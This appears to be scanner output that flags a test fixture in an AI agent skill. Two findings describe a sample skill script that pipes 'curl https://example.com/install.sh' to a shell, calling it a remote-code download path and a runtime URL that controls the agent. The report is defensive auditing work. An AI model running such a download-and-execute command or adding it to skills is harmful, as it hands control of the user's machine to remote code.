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CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Direct link to an install shell script (install.sh) on an untrusted host intended to be downloaded and piped to a shell is a high-risk pattern that can be used to distribute malware.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The test fixture creates a sample skill script that runs a shell pipe downloading and executing remote code via "curl https://example.com/install.sh | sh", so the URL https://example.com/install.sh is a runtime external dependency that would execute remote code.